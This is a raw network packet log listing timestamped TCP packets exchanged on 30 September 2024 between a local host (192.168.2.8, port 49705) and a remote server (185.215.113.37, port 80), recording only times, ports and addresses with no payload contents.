Sep 30, 2024 12:33:22.735992908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.735999107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736006021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736016035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736044884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736135006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736145020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736155033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736166000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736176968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736176968 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736186981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736195087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736202002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736232042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736246109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736476898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736488104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736498117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736510038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736512899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736520052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:22.736531019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:22.736557007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.017324924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.022186995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240503073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240525007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240535021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240545988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240556002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240566969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240606070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240607977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240619898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240631104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240643024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240645885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240653992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240670919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240693092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240725040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240736961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240747929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240758896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240767956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240770102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240781069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240803003 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240827084 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240896940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240909100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240919113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240930080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240938902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240942001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240948915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240958929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240959883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240969896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240981102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.240983963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.240997076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241010904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.241024017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241034031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241038084 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.241044044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241061926 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.241069078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241080046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241090059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241094112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.241100073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.241126060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.241146088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.321062088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.321089029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.321158886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.321193933 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.357687950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357707977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357718945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357733011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357754946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357768059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357778072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357781887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.357794046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357805014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357808113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.357815027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.357891083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358067036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358124018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358148098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358158112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358174086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358186007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358195066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358201027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358207941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358215094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358217001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358232021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358237982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358242989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358254910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358266115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358269930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358275890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358293056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358311892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358333111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358345032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358381033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358431101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358448029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358458996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358469009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358477116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358479977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358495951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358501911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358506918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358516932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358526945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358563900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358593941 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358623028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358633995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358644962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358655930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358669996 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358680964 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358707905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358736992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358748913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358760118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358764887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358774900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358783960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358787060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358800888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358819962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358829975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358831882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358860970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358866930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358872890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358887911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358905077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358906031 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358943939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358954906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358957052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.358966112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.358978033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359005928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359036922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359049082 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359059095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359078884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359083891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359096050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359107018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359107971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359117985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359128952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359132051 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359153986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359164000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359184980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359194994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359201908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359215021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359220982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359236002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359255075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359261990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359266043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359276056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.359302044 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.359323978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.408590078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.408641100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.408651114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.408662081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.408714056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.408787966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482193947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482208967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482219934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482270002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482280970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482290983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482304096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482353926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482361078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482366085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482376099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482386112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482430935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482526064 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482846975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482891083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482902050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482902050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482937098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482950926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482954025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.482961893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482973099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.482999086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483000040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483011961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483022928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483022928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483048916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483072042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483073950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483083010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483093023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483103991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483118057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483150959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483210087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483226061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483236074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483253002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483262062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483264923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483274937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483282089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483285904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483295918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483305931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483330011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483335018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483341932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483350992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483362913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483374119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483376980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483402014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483423948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483453035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483470917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483480930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483490944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483500004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483500957 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483510971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483520985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483525991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483531952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483541965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483547926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483551979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483576059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483580112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483587027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483612061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483619928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483623028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483628988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483656883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483678102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483741999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483752966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483762980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483767986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483788013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483788967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483798027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483805895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483808994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483819962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483838081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483855963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483867884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483886957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483891010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483901978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483911991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483923912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483923912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483937025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483957052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483958006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.483968973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483978033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483989000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.483998060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484006882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484009981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484038115 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484045982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484059095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484070063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484080076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484091043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484108925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484108925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484118938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484119892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484129906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484139919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.484152079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.484173059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.532948017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.532962084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.532972097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.533063889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606673002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606754065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606805086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606808901 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606816053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606829882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606839895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606842041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606848955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606853962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606865883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.606873989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606899023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.606911898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.607795000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607805967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607816935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:23.607847929 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:23.607876062 CEST	80	49705	185.215.113.37	192.168.2.8
